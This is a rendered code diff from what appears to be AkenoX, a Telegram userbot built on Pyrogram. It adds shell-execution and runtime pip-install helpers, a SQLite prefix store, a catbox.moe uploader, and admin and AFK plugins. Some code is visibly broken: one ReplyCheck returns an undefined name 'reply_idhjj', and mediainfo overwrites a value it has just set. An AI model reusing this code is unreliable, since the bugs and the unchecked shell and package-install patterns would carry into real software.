i += 1
|
| 70 |
+
else:
|
| 71 |
+
i += 1
|
| 72 |
+
common_args.append(arg)
|
| 73 |
+
return common_args, named_args
|
| 74 |
+
|
| 75 |
+
def get_args_raw(message: Union[Message, str], use_reply: bool = None) -> str:
|
| 76 |
+
"""Returns text after command.
|
| 77 |
+
|
| 78 |
+
Args:
|
| 79 |
+
message (Union[Message, str]): Message or text.
|
| 80 |
+
|
| 81 |
+
use_reply (bool, optional): Try to get args from reply message if no args in message. Defaults to None.
|
| 82 |
+
|
| 83 |
+
Returns:
|
| 84 |
+
str: Text after command or empty string.
|
| 85 |
+
"""
|
| 86 |
+
if isinstance(message, Message):
|
| 87 |
+
text = message.text or message.caption
|
| 88 |
+
args = text.split(maxsplit=1)[1] if len(text.split()) > 1 else ""
|
| 89 |
+
|
| 90 |
+
if use_reply and not args:
|
| 91 |
+
args = message.reply_to_message.text or message.reply_to_message.caption
|
| 92 |
+
|
| 93 |
+
elif not isinstance(message, str):
|
| 94 |
+
return ""
|
| 95 |
+
|
| 96 |
+
return args or ""
|
| 97 |
+
|
| 98 |
+
async def shell_exec(
|
| 99 |
+
command: str,
|
| 100 |
+
executable: Optional[str] = None,
|
| 101 |
+
timeout: Optional[Union[int, float]] = None,
|
| 102 |
+
stdout=asyncio.subprocess.PIPE,
|
| 103 |
+
stderr=asyncio.subprocess.PIPE,
|
| 104 |
+
) -> Tuple[int, str, str]:
|
| 105 |
+
"""Executes shell command and returns tuple with return code, decoded stdout, and stderr."""
|
| 106 |
+
|
| 107 |
+
if executable is None:
|
| 108 |
+
# Set a default shell based on the platform
|
| 109 |
+
if sys.platform == "win32":
|
| 110 |
+
executable = "cmd.exe"
|
| 111 |
+
else:
|
| 112 |
+
executable = "/bin/bash"
|
| 113 |
+
|
| 114 |
+
process = await asyncio.create_subprocess_shell(
|
| 115 |
+
cmd=command,
|
| 116 |
+
stdout=stdout,
|
| 117 |
+
stderr=stderr,
|
| 118 |
+
shell=True,
|
| 119 |
+
executable=executable
|
| 120 |
+
)
|
| 121 |
+
|
| 122 |
+
try:
|
| 123 |
+
stdout, stderr = await asyncio.wait_for(process.communicate(), timeout)
|
| 124 |
+
except asyncio.exceptions.TimeoutError as e:
|
| 125 |
+
process.kill()
|
| 126 |
+
raise e
|
| 127 |
+
|
| 128 |
+
return process.returncode, stdout.decode(), stderr.decode()
|
| 129 |
+
|
| 130 |
+
|
| 131 |
+
def time_formatter(milliseconds: int) -> str:
|
| 132 |
+
"""Time Formatter"""
|
| 133 |
+
seconds, milliseconds = divmod(int(milliseconds), 1000)
|
| 134 |
+
minutes, seconds = divmod(seconds, 60)
|
| 135 |
+
hours, minutes = divmod(minutes, 60)
|
| 136 |
+
days, hours = divmod(hours, 24)
|
| 137 |
+
tmp = (
|
| 138 |
+
((str(days) + " day(s), ") if days else "")
|
| 139 |
+
+ ((str(hours) + " hour(s), ") if hours else "")
|
| 140 |
+
+ ((str(minutes) + " minute(s), ") if minutes else "")
|
| 141 |
+
+ ((str(seconds) + " second(s), ") if seconds else "")
|
| 142 |
+
+ ((str(milliseconds) + " millisecond(s), ") if milliseconds else "")
|
| 143 |
+
)
|
| 144 |
+
return tmp[:-2]
|
| 145 |
+
|
| 146 |
+
|
| 147 |
+
def humanbytes(size):
|
| 148 |
+
"""Convert Bytes To Bytes So That Human Can Read It"""
|
| 149 |
+
if not size:
|
| 150 |
+
return ""
|
| 151 |
+
power = 2**10
|
| 152 |
+
raised_to_pow = 0
|
| 153 |
+
dict_power_n = {0: "", 1: "Ki", 2: "Mi", 3: "Gi", 4: "Ti"}
|
| 154 |
+
while size > power:
|
| 155 |
+
size /= power
|
| 156 |
+
raised_to_pow += 1
|
| 157 |
+
return str(round(size, 2)) + " " + dict_power_n[raised_to_pow] + "B"
|
| 158 |
+
|
| 159 |
+
|
| 160 |
+
async def edit_or_send_as_file(
|
| 161 |
+
tex: str,
|
| 162 |
+
message: Message,
|
| 163 |
+
client: Client,
|
| 164 |
+
caption: str = "<code>Result!</code>",
|
| 165 |
+
file_name: str = "result",
|
| 166 |
+
):
|
| 167 |
+
"""Send As File If Len Of Text Exceeds Tg Limit Else Edit Message"""
|
| 168 |
+
if not tex:
|
| 169 |
+
await message.edit("<code>Wait, What?</code>")
|
| 170 |
+
return
|
| 171 |
+
if len(tex) > 1024:
|
| 172 |
+
await message.edit("<code>OutPut is Too Large, Sending As File!</code>")
|
| 173 |
+
file_names = f"{file_name}.txt"
|
| 174 |
+
with open(file_names, "w") as fn:
|
| 175 |
+
fn.write(tex)
|
| 176 |
+
await client.send_document(message.chat.id, file_names, caption=caption)
|
| 177 |
+
await message.delete()
|
| 178 |
+
if os.path.exists(file_names):
|
| 179 |
+
os.remove(file_names)
|
| 180 |
+
return
|
| 181 |
+
return await message.edit(tex)
|
| 182 |
+
|
| 183 |
+
|
| 184 |
+
def get_text(message: Message) -> None | str:
|
| 185 |
+
"""Extract Text From Commands"""
|
| 186 |
+
text_to_return = message.text
|
| 187 |
+
if message.text is None:
|
| 188 |
+
return None
|
| 189 |
+
if " " in text_to_return:
|
| 190 |
+
try:
|
| 191 |
+
return message.text.split(None, 1)[1]
|
| 192 |
+
except IndexError:
|
| 193 |
+
return None
|
| 194 |
+
else:
|
| 195 |
+
return None
|
| 196 |
+
|
| 197 |
+
|
| 198 |
+
async def progress(current, total, message, start, type_of_ps, file_name=None):
|
| 199 |
+
"""Progress Bar For Showing Progress While Uploading / Downloading File - Normal"""
|
| 200 |
+
now = time.time()
|
| 201 |
+
diff = now - start
|
| 202 |
+
if round(diff % 10.00) == 0 or current == total:
|
| 203 |
+
percentage = current * 100 / total
|
| 204 |
+
speed = current / diff
|
| 205 |
+
elapsed_time = round(diff) * 1000
|
| 206 |
+
if elapsed_time == 0:
|
| 207 |
+
return
|
| 208 |
+
time_to_completion = round((total - current) / speed) * 1000
|
| 209 |
+
estimated_total_time = elapsed_time + time_to_completion
|
| 210 |
+
progress_str = f"{''.join(['▰' for i in range(math.floor(percentage / 10))])}"
|
| 211 |
+
progress_str += (
|
| 212 |
+
f"{''.join(['▱' for i in range(10 - math.floor(percentage / 10))])}"
|
| 213 |
+
)
|
| 214 |
+
progress_str += f"{round(percentage, 2)}%\n"
|
| 215 |
+
tmp = f"{progress_str}{humanbytes(current)} of {humanbytes(total)}\n"
|
| 216 |
+
tmp += f"ETA: {time_formatter(estimated_total_time)}"
|
| 217 |
+
if file_name:
|
| 218 |
+
try:
|
| 219 |
+
await message.edit(
|
| 220 |
+
f"{type_of_ps}\n**File Name:** `{file_name}`\n{tmp}"
|
| 221 |
+
)
|
| 222 |
+
except FloodWait as e:
|
| 223 |
+
await asyncio.sleep(e.x)
|
| 224 |
+
except MessageNotModified:
|
| 225 |
+
pass
|
| 226 |
+
else:
|
| 227 |
+
try:
|
| 228 |
+
await message.edit(
|
| 229 |
+
f"{type_of_ps}\n{tmp}", parse_mode=enums.ParseMode.MARKDOWN
|
| 230 |
+
)
|
| 231 |
+
except FloodWait as e:
|
| 232 |
+
await asyncio.sleep(e.x)
|
| 233 |
+
except MessageNotModified:
|
| 234 |
+
pass
|
| 235 |
+
|
| 236 |
+
|
| 237 |
+
async def run_cmd(prefix: str) -> Tuple[str, str, int, int]:
|
| 238 |
+
"""Run Commands"""
|
| 239 |
+
args = shlex.split(prefix)
|
| 240 |
+
process = await asyncio.create_subprocess_exec(
|
| 241 |
+
*args, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE
|
| 242 |
+
)
|
| 243 |
+
stdout, stderr = await process.communicate()
|
| 244 |
+
return (
|
| 245 |
+
stdout.decode("utf-8", "replace").strip(),
|
| 246 |
+
stderr.decode("utf-8", "replace").strip(),
|
| 247 |
+
process.returncode,
|
| 248 |
+
process.pid,
|
| 249 |
+
)
|
| 250 |
+
|
| 251 |
+
|
| 252 |
+
def mediainfo(media):
|
| 253 |
+
xx = str((str(media)).split("(", maxsplit=1)[0])
|
| 254 |
+
m = ""
|
| 255 |
+
if xx == "MessageMediaDocument":
|
| 256 |
+
mim = media.document.mime_type
|
| 257 |
+
if mim == "application/x-tgsticker":
|
| 258 |
+
m = "sticker animated"
|
| 259 |
+
elif "image" in mim:
|
| 260 |
+
if mim == "image/webp":
|
| 261 |
+
m = "sticker"
|
| 262 |
+
elif mim == "image/gif":
|
| 263 |
+
m = "gif as doc"
|
| 264 |
+
else:
|
| 265 |
+
m = "pic as doc"
|
| 266 |
+
elif "video" in mim:
|
| 267 |
+
if "DocumentAttributeAnimated" in str(media):
|
| 268 |
+
m = "gif"
|
| 269 |
+
elif "DocumentAttributeVideo" in str(media):
|
| 270 |
+
i = str(media.document.attributes[0])
|
| 271 |
+
if "supports_streaming=True" in i:
|
| 272 |
+
m = "video"
|
| 273 |
+
m = "video as doc"
|
| 274 |
+
else:
|
| 275 |
+
m = "video"
|
| 276 |
+
elif "audio" in mim:
|
| 277 |
+
m = "audio"
|
| 278 |
+
else:
|
| 279 |
+
m = "document"
|
| 280 |
+
elif xx == "MessageMediaPhoto":
|
| 281 |
+
m = "pic"
|
| 282 |
+
elif xx == "MessageMediaWebPage":
|
| 283 |
+
m = "web"
|
| 284 |
+
return m
|
| 285 |
+
|
| 286 |
+
|
| 287 |
+
async def edit_or_reply(message, txt):
|
| 288 |
+
"""Edit Message If Its From Self, Else Reply To Message"""
|
| 289 |
+
if not message:
|
| 290 |
+
return await message.edit(txt)
|
| 291 |
+
if not message.from_user:
|
| 292 |
+
return await message.edit(txt)
|
| 293 |
+
return await message.edit(txt)
|
| 294 |
+
|
| 295 |
+
|
| 296 |
+
def format_exc(e: Exception, suffix="") -> str:
|
| 297 |
+
traceback.print_exc()
|
| 298 |
+
err = traceback.format_exc()
|
| 299 |
+
if isinstance(e, errors.RPCError):
|
| 300 |
+
return (
|
| 301 |
+
f"<b>Telegram API error!</b>\n"
|
| 302 |
+
f"<code>[{e.CODE} {e.ID or e.NAME}] — {e.MESSAGE.format(value=e.value)}</code>\n\n<b>{suffix}</b>"
|
| 303 |
+
)
|
| 304 |
+
return f"<b>Error!</b>\n" f"<code>{err}</code>"
|
| 305 |
+
|
| 306 |
+
|
| 307 |
+
def import_library(library_name: str, package_name: str = None):
|
| 308 |
+
"""
|
| 309 |
+
Loads a library, or installs it in ImportError case
|
| 310 |
+
:param library_name: library name (import example...)
|
| 311 |
+
:param package_name: package name in PyPi (pip install example)
|
| 312 |
+
:return: loaded module
|
| 313 |
+
"""
|
| 314 |
+
if package_name is None:
|
| 315 |
+
package_name = library_name
|
| 316 |
+
requirements_list.append(package_name)
|
| 317 |
+
|
| 318 |
+
try:
|
| 319 |
+
return importlib.import_module(library_name)
|
| 320 |
+
except ImportError as exc:
|
| 321 |
+
completed = subprocess.run(
|
| 322 |
+
[sys.executable, "-m", "pip", "install", "--upgrade", package_name], check=True)
|
| 323 |
+
if completed.returncode != 0:
|
| 324 |
+
raise AssertionError(
|
| 325 |
+
f"Failed to install library {package_name} (pip exited with code {completed.returncode})"
|
| 326 |
+
) from exc
|
| 327 |
+
return importlib.import_module(library_name)
|
| 328 |
+
|
| 329 |
+
|
| 330 |
+
def uninstall_library(package_name: str):
|
| 331 |
+
"""
|
| 332 |
+
Uninstalls a library
|
| 333 |
+
:param package_name: package name in PyPi (pip uninstall example)
|
| 334 |
+
"""
|
| 335 |
+
completed = subprocess.run(
|
| 336 |
+
[sys.executable, "-m", "pip", "uninstall", "-y", package_name], check=True)
|
| 337 |
+
if completed.returncode != 0:
|
| 338 |
+
raise AssertionError(
|
| 339 |
+
f"Failed to uninstall library {package_name} (pip exited with code {completed.returncode})"
|
| 340 |
+
)
|
| 341 |
+
|
| 342 |
+
|
| 343 |
+
def resize_image(
|
| 344 |
+
input_img, output=None, img_type="PNG", size: int = 512, size2: int = None
|
| 345 |
+
):
|
| 346 |
+
if output is None:
|
| 347 |
+
output = BytesIO()
|
| 348 |
+
output.name = f"sticker.{img_type.lower()}"
|
| 349 |
+
|
| 350 |
+
with Image.open(input_img) as img:
|
| 351 |
+
# We used to use thumbnail(size) here, but it returns with a *max* dimension of 512,512
|
| 352 |
+
# rather than making one side exactly 512, so we have to calculate dimensions manually :(
|
| 353 |
+
if size2 is not None:
|
| 354 |
+
size = (size, size2)
|
| 355 |
+
elif img.width == img.height:
|
| 356 |
+
size = (size, size)
|
| 357 |
+
elif img.width < img.height:
|
| 358 |
+
size = (max(size * img.width // img.height, 1), size)
|
| 359 |
+
else:
|
| 360 |
+
size = (size, max(size * img.height // img.width, 1))
|
| 361 |
+
|
| 362 |
+
img.resize(size).save(output, img_type)
|
| 363 |
+
|
| 364 |
+
return output
|
| 365 |
+
|
| 366 |
+
|
| 367 |
+
def resize_new_image(image_path, output_path, desired_width=None, desired_height=None):
|
| 368 |
+
"""
|
| 369 |
+
Resize an image to the desired dimensions while maintaining the aspect ratio.
|
| 370 |
+
|
| 371 |
+
Args:
|
| 372 |
+
image_path (str): Path to the input image file.
|
| 373 |
+
output_path (str): Path to save the resized image.
|
| 374 |
+
desired_width (int, optional): Desired width in pixels. If not provided, the aspect ratio will be maintained.
|
| 375 |
+
desired_height (int, optional): Desired height in pixels. If not provided, the aspect ratio will be maintained.
|
| 376 |
+
"""
|
| 377 |
+
image = Image.open(image_path)
|
| 378 |
+
|
| 379 |
+
width, height = image.size
|
| 380 |
+
|
| 381 |
+
aspect_ratio = width / height
|
| 382 |
+
|
| 383 |
+
if desired_width and desired_height:
|
| 384 |
+
new_width, new_height = desired_width, desired_height
|
| 385 |
+
elif desired_height:
|
| 386 |
+
new_width, new_height = int(desired_height * aspect_ratio), desired_height
|
| 387 |
+
else:
|
| 388 |
+
new_width, new_height = 150, 150
|
| 389 |
+
|
| 390 |
+
resized_image = image.resize((new_width, new_height), Image.Resampling.LANCZOS)
|
| 391 |
+
|
| 392 |
+
resized_image.save(output_path)
|
| 393 |
+
if os.path.exists(image_path):
|
| 394 |
+
os.remove(image_path)
|
| 395 |
+
|
| 396 |
+
|
| 397 |
+
def parse_meta_comments(code: str) -> Dict[str, str]:
|
| 398 |
+
try:
|
| 399 |
+
groups = META_COMMENTS.search(code).groups()
|
| 400 |
+
except AttributeError:
|
| 401 |
+
return {}
|
| 402 |
+
|
| 403 |
+
return {groups[i]: groups[i + 1] for i in range(0, len(groups), 2)}
|
| 404 |
+
|
| 405 |
+
|
| 406 |
+
def ReplyCheck(message: Message):
|
| 407 |
+
reply_id = None
|
| 408 |
+
|
| 409 |
+
if message.reply_to_message:
|
| 410 |
+
reply_id = message.reply_to_message.id
|
| 411 |
+
|
| 412 |
+
elif not message.from_user.is_self:
|
| 413 |
+
reply_id = message.id
|
| 414 |
+
|
| 415 |
+
return reply_idhjj
|
AkenoX/core/sqlite_prefix.py
ADDED
|
@@ -0,0 +1,41 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import sqlite3
|
| 2 |
+
|
| 3 |
+
conn = sqlite3.connect('bot_prefix.db')
|
| 4 |
+
cursor = conn.cursor()
|
| 5 |
+
|
| 6 |
+
cursor.execute('''
|
| 7 |
+
CREATE TABLE IF NOT EXISTS prefixes (
|
| 8 |
+
user_id INTEGER PRIMARY KEY,
|
| 9 |
+
prefix TEXT NOT NULL
|
| 10 |
+
)
|
| 11 |
+
''')
|
| 12 |
+
|
| 13 |
+
conn.commit()
|
| 14 |
+
conn.close()
|
| 15 |
+
|
| 16 |
+
async def set_prefix_in_db(user_id: int, prefix: str):
|
| 17 |
+
conn = sqlite3.connect('bot_prefix.db')
|
| 18 |
+
cursor = conn.cursor()
|
| 19 |
+
|
| 20 |
+
cursor.execute('''
|
| 21 |
+
INSERT INTO prefixes (user_id, prefix)
|
| 22 |
+
VALUES (?, ?)
|
| 23 |
+
ON CONFLICT(user_id) DO UPDATE SET prefix=excluded.prefix
|
| 24 |
+
''', (user_id, prefix))
|
| 25 |
+
|
| 26 |
+
conn.commit()
|
| 27 |
+
conn.close()
|
| 28 |
+
|
| 29 |
+
async def get_prefix(user_id: int):
|
| 30 |
+
conn = sqlite3.connect('bot_prefix.db')
|
| 31 |
+
cursor = conn.cursor()
|
| 32 |
+
|
| 33 |
+
cursor.execute('SELECT prefix FROM prefixes WHERE user_id=?', (user_id,))
|
| 34 |
+
result = cursor.fetchone()
|
| 35 |
+
|
| 36 |
+
conn.close()
|
| 37 |
+
|
| 38 |
+
if result:
|
| 39 |
+
return result[0]
|
| 40 |
+
else:
|
| 41 |
+
return None
|
AkenoX/core/upload_file.py
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import aiofiles
|
| 2 |
+
import aiohttp
|
| 3 |
+
|
| 4 |
+
|
| 5 |
+
async def upload_to_catbox(dl_path: str) -> str:
|
| 6 |
+
base_url = "https://catbox.moe/user/api.php"
|
| 7 |
+
|
| 8 |
+
async with aiohttp.ClientSession() as session:
|
| 9 |
+
form_data = aiohttp.FormData()
|
| 10 |
+
form_data.add_field("reqtype", "fileupload")
|
| 11 |
+
|
| 12 |
+
async with aiofiles.open(dl_path, mode="rb") as file:
|
| 13 |
+
file_data = await file.read()
|
| 14 |
+
form_data.add_field(
|
| 15 |
+
"fileToUpload",
|
| 16 |
+
file_data,
|
| 17 |
+
filename=dl_path.split("/")[-1],
|
| 18 |
+
content_type="application/octet-stream"
|
| 19 |
+
)
|
| 20 |
+
|
| 21 |
+
async with session.post(base_url, data=form_data) as response:
|
| 22 |
+
response.raise_for_status()
|
| 23 |
+
return (await response.text()).strip()
|
AkenoX/plugins/__init__.py
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
from pyrogram.types import Message
|
| 2 |
+
|
| 3 |
+
custom_blue = "<emoji id=5328317370647715629>✅</emoji>"
|
| 4 |
+
custom_cat = "<emoji id=5352865784508980799>🗿</emoji>"
|
| 5 |
+
custom_pong = "<emoji id=5269563867305879894>🗿</emoji>"
|
| 6 |
+
custom_balon = "<emoji id=5407064810040864883>🗿</emoji>"
|
| 7 |
+
custom_owner = "<emoji id=5467406098367521267>🗿</emoji>"
|
| 8 |
+
|
| 9 |
+
def ReplyCheck(message: Message):
|
| 10 |
+
reply_id = None
|
| 11 |
+
if message.reply_to_message:
|
| 12 |
+
reply_id = message.reply_to_message.id if message.reply_to_message else None
|
| 13 |
+
elif not message.from_user.is_self if message.from_user else None:
|
| 14 |
+
reply_id = message.id
|
| 15 |
+
return reply_id
|
AkenoX/plugins/admin.py
ADDED
|
@@ -0,0 +1,89 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
from pyrogram.enums import ParseMode
|
| 2 |
+
|
| 3 |
+
from AkenoX import *
|
| 4 |
+
from AkenoX.plugins.helper.custom import get_user_info, temporary_mute_user
|
| 5 |
+
from AkenoX.plugins.libso.funcs_admin import *
|
| 6 |
+
|
| 7 |
+
|
| 8 |
+
@RENDYDEV.user(prefix=["id"], filters=(filters.me & ~filters.forwarded))
|
| 9 |
+
async def id_handler(client, message):
|
| 10 |
+
if message.reply_to_message and message.reply_to_message.from_user:
|
| 11 |
+
# Fetch User ID from the replied message
|
| 12 |
+
user = message.reply_to_message.from_user
|
| 13 |
+
user_info = f"<blockquote><b>User ID:</b> <code>{user.id}</code></blockquote>"
|
| 14 |
+
else:
|
| 15 |
+
# Fetch Chat ID if no user is replied to
|
| 16 |
+
chat = message.chat
|
| 17 |
+
user_info = f"<blockquote><b>Chat ID:</b> <code>{chat.id}</code></blockquote>"
|
| 18 |
+
|
| 19 |
+
await message.reply_text(user_info, parse_mode=ParseMode.HTML)
|
| 20 |
+
|
| 21 |
+
@RENDYDEV.user(prefix=["info"], filters=(filters.me & ~filters.forwarded))
|
| 22 |
+
async def userinfo_handler(client, message):
|
| 23 |
+
if message.reply_to_message and message.reply_to_message.from_user:
|
| 24 |
+
user = message.reply_to_message.from_user
|
| 25 |
+
else:
|
| 26 |
+
user = message.from_user
|
| 27 |
+
|
| 28 |
+
chat = message.chat
|
| 29 |
+
|
| 30 |
+
user_info = (
|
| 31 |
+
f"Name: {user.first_name} {user.last_name or ''}\n"
|
| 32 |
+
f"User ID: {user.id}\n"
|
| 33 |
+
f"Username: @{user.username if user.username else 'N/A'}\n"
|
| 34 |
+
f"Chat ID: {chat.id}\n"
|
| 35 |
+
)
|
| 36 |
+
await message.reply_text(user_info)
|
| 37 |
+
|
| 38 |
+
@RENDYDEV.user(prefix=["promote", "fullpromote"], filters=(filters.me & ~filters.forwarded))
|
| 39 |
+
async def promoted_handler(client, message):
|
| 40 |
+
await promotte_user(client, message)
|
| 41 |
+
|
| 42 |
+
@RENDYDEV.user(prefix=["demote"], filters=(filters.me & ~filters.forwarded))
|
| 43 |
+
async def demote_handler(client, message):
|
| 44 |
+
await demote_user(client, message)
|
| 45 |
+
|
| 46 |
+
@RENDYDEV.user(prefix=["ban", "dban"], filters=(filters.me & ~filters.forwarded))
|
| 47 |
+
async def member_ban_handler(client, message):
|
| 48 |
+
await member_ban_user(client, message)
|
| 49 |
+
|
| 50 |
+
@RENDYDEV.user(prefix="unmute", filters=(filters.me & ~filters.forwarded))
|
| 51 |
+
async def unmute_handler(client, message):
|
| 52 |
+
await unmute_user(client, message)
|
| 53 |
+
|
| 54 |
+
@RENDYDEV.user(prefix="pin", filters=(filters.me & ~filters.forwarded))
|
| 55 |
+
async def pin_handler(client, message):
|
| 56 |
+
await pin_message(client, message)
|
| 57 |
+
|
| 58 |
+
@RENDYDEV.user(prefix=["mute", "dmute"], filters=(filters.me & ~filters.forwarded))
|
| 59 |
+
async def mute_handler(client, message):
|
| 60 |
+
await mute_user(client, message)
|
| 61 |
+
|
| 62 |
+
@RENDYDEV.user(prefix=["kick", "dkick"], filters=(filters.me & ~filters.forwarded))
|
| 63 |
+
async def kick_handler(client, message):
|
| 64 |
+
await kick_user(client, message)
|
| 65 |
+
|
| 66 |
+
@RENDYDEV.user(prefix=["tmute"], filters=(filters.me & ~filters.forwarded))
|
| 67 |
+
async def tmute_handler(client, message):
|
| 68 |
+
await temporary_mute_user(client, message)
|
| 69 |
+
|
| 70 |
+
RENDYDEV.buttons(
|
| 71 |
+
"admin",
|
| 72 |
+
[
|
| 73 |
+
["id [reply/username/userid]", "Fetch User ID & Chat ID."],
|
| 74 |
+
["userinfo [reply/username/userid]", "Fetch user details (name, username, ID, mention)."],
|
| 75 |
+
["ban [reply/username/userid]", "Ban someone."],
|
| 76 |
+
["dban [reply]", "dban a user deleting the replied to message."],
|
| 77 |
+
["unban [reply/username/userid]", "Unban someone."],
|
| 78 |
+
["kick [reply/username/userid]", "Kick out someone from your group."],
|
| 79 |
+
["dkick [reply]", "dkick a user deleting the replied to message."],
|
| 80 |
+
["promote `or` .fullpromote", "Promote someone."],
|
| 81 |
+
["demote", "Demote someone."],
|
| 82 |
+
["mute [reply/username/userid]", "Mute someone."],
|
| 83 |
+
["dmute [reply]", "dmute a user deleting the replied to message."],
|
| 84 |
+
["tmute [reply] <time>", "Temporarily mute a user for a set duration."],
|
| 85 |
+
["unmute [reply/username/userid]", "Unmute someone."],
|
| 86 |
+
["pin [reply]", "To pin any message."],
|
| 87 |
+
["unpin [reply]", "To unpin any message."],
|
| 88 |
+
],
|
| 89 |
+
)
|
AkenoX/plugins/afk.py
ADDED
|
@@ -0,0 +1,38 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
from AkenoX import *
|
| 2 |
+
from AkenoX.plugins.libso.funcs_afk import *
|
| 3 |
+
|
| 4 |
+
|
| 5 |
+
@RENDYDEV.user(
|
| 6 |
+
prefix=["afk"],
|
| 7 |
+
filters=(
|
| 8 |
+
~filters.scheduled
|
| 9 |
+
& filters.me
|
| 10 |
+
& ~filters.forwarded
|
| 11 |
+
),
|
| 12 |
+
is_run=False
|
| 13 |
+
)
|
| 14 |
+
async def afkok_handler(client, message):
|
| 15 |
+
await afkok(client, message)
|
| 16 |
+
|
| 17 |
+
@RENDYDEV.user(is_afk=True)
|
| 18 |
+
async def afk_mentioned_handler(client, message):
|
| 19 |
+
await afk_mentioned(client, message)
|
| 20 |
+
|
| 21 |
+
@RENDYDEV.user(
|
| 22 |
+
prefix=["unafk"],
|
| 23 |
+
filters=(
|
| 24 |
+
~filters.scheduled
|
| 25 |
+
& filters.me
|
| 26 |
+
& ~filters.forwarded
|
| 27 |
+
),
|
| 28 |
+
is_run=False
|
| 29 |
+
)
|
| 30 |
+
async def no_longer_afk_handler(client, message):
|
| 31 |
+
await no_longer_afk(client, message)
|
| 32 |
+
|
| 33 |
+
RENDYDEV.buttons(
|
| 34 |
+
"afk",
|
| 35 |
+
[
|
| 36 |
+
["afk <Because>", "Notifies people who tag or reply to one of your messages or dm that you are afk"],
|
| 37 |
+
],
|
| 38 |
+
)
|
AkenoX/plugins/assistant/__init__.py
ADDED
|
File without changes
|
AkenoX/plugins/assistant/callback.py
ADDED
|
@@ -0,0 +1,215 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
